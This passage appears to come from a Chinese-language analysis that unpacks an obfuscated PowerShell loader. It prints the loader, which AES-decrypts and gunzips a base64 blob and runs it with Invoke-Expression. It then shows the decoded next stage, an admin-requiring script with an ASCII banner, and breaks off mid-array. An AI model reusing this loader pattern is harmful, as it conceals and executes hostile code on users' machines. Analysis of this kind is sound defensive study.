$uvbt = [System.Convert]::FromBase64String("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")
$wmpkhs.KeySize = 128
$wmpkhs.Key = $rnsiforf
$wmpkhs.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$wmpkhs.Mode = [System.Security.Cryptography.CipherMode]::CBC
$wmpkhs.BlockSize = 128
$wmpkhs.IV = $uvbt[0..15]
$xxrha = New-Object System.IO.MemoryStream
$gkfqeysew = New-Object System.IO.MemoryStream(,$wmpkhs.CreateDecryptor().TransformFinalBlock($uvbt,16,$uvbt.Length-16))
$btrg = New-Object System.IO.Compression.GzipStream $gkfqeysew, ([IO.Compression.CompressionMode]::Decompress)
$btrg.CopyTo($xxrha)
$wmpkhs.Dispose()
$nvob = [System.Text.Encoding]::UTF8.GetString($xxrha.ToArray())
$btrg.Close()
$gkfqeysew.Close()
Invoke-Expression($nvob)

可以看到这里使用了AES加密,注释掉最后一行的调用语句,将执行后的结果输出到文件,得到下面的加密代码。

((67, 108, 101, 97, 114, 45, 72, 111, 115, 116, 10, 35, 82, 101, 113, 117, 105, 114, 101, 115, 32, 45, 82, 117, 110, 65, 115, 65, 100, 109, 105, 110, 105, 115, 116, 114, 97, 116, 111, 114, 10, 91, 67, 111, 110, 115, 111, 108, 101, 93, 58, 58, 79, 117, 116, 112, 117, 116, 69, 110, 99, 111, 100, 105, 110, 103, 32, 61, 32, 91, 83, 121, 115, 116, 101, 109, 46, 84, 101, 120, 116, 46, 69, 110, 99, 111, 100, 105, 110, 103, 93, 58, 58, 85, 84, 70, 56, 10, 36, 69, 114, 114, 111, 114, 65, 99, 116, 105, 111, 110, 80, 114, 101, 102, 101, 114, 101, 110, 99, 101, 32, 61, 32, 34, 67, 111, 110, 116, 105, 110, 117, 101, 34, 10, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 37, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 37, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 58, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 37, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 58, 32, 32, 32, 32, 32, 32, 32, 32, 37, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 58, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 58, 64, 32, 32, 32, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 45, 64, 32, 32, 32, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 42, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 46, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 42, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 43, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 43, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 32, 32, 32, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 37, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 96, 114, 34, 10, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 32, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 64, 64, 64, 